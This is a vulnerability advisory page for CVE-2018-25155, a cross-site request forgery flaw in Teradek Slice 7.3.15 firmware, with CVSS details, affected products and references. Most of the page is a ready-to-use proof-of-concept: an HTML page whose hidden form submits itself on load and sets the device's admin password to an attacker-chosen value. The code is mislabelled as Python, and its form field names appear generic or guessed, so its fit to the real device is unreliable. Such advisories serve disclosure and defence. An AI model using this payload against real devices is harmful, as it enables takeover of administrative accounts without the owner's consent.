CVE-2018-25155

Description

Teradek Slice 7.3.15 contains a cross-site request forgery vulnerability that allows attackers to change administrative passwords without proper request validation. Attackers can craft a malicious web page that automatically submits password change requests to the device when a logged-in user visits the page.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:o:teradek:slice_firmware:7.3.15:build31735:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:teradek:slice:2.1:*:*:*:*:*:*:* - NOT VULNERABLE

Teradek Slice < 7.3.15 (受影响版本)

Teradek Slice 7.3.15 (确认受影响)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2018-25155 - Teradek Slice Password Change -->
<!-- This PoC demonstrates how an attacker can change the admin password via CSRF attack -->
<!DOCTYPE html>
<html>
<head>
    <title>Teradek Slice CSRF PoC - CVE-2018-25155</title>
    <style>
        body { font-family: Arial, sans-serif; padding: 20px; }
        .info { background: #e3f2fd; padding: 15px; border-radius: 5px; margin: 10px 0; }
        .hidden { display: none; }
    </style>
</head>
<body>
    <div class="info">
        <h2>CVE-2018-25155 PoC</h2>
        <p>This PoC demonstrates the CSRF vulnerability in Teradek Slice 7.3.15</p>
        <p>Target: Teradek Slice device with default or known admin session</p>
    </div>

    <!-- Hidden form that auto-submits password change request -->
    <form id="csrfForm" action="http://[TERADEK_IP]/cgi-bin/admin.cgi" method="POST" class="hidden">
        <!-- Authentication token (may not be validated server-side) -->
        <input type="hidden" name="token" value="any_value">
        <!-- Password change action -->
        <input type="hidden" name="action" value="password_change">
        <!-- New admin password set by attacker -->
        <input type="hidden" name="new_password" value="PwnedByAttacker123">
        <!-- Confirm new password -->
        <input type="hidden" name="confirm_password" value="PwnedByAttacker123">
        <!-- Admin username -->
        <input type="hidden" name="username" value="admin">
    </form>

    <script>
        // Auto-submit the form when page loads
        window.onload = function() {
            console.log('[CVE-2018-25155] CSRF PoC loaded, submitting form...');
            document.getElementById('csrfForm').submit();
        };
    </script>

    <div class="info">
        <p><strong>Note:</strong> For educational and security testing purposes only.</p>
        <p>Replace [TERADEK_IP] with the actual IP address of the target Teradek Slice device.</p>
    </div>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2018-25155
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2018-25155
[3] CVE Details https://www.cvedetails.com/cve/CVE-2018-25155/
[4] VulDB https://vuldb.com/cve/CVE-2018-25155
[5] https://www.exploit-db.com/exploits/44676
[6] https://www.teradek.com
[7] https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5467.php
[8] https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5467.php

Raw JSON Data

JSON

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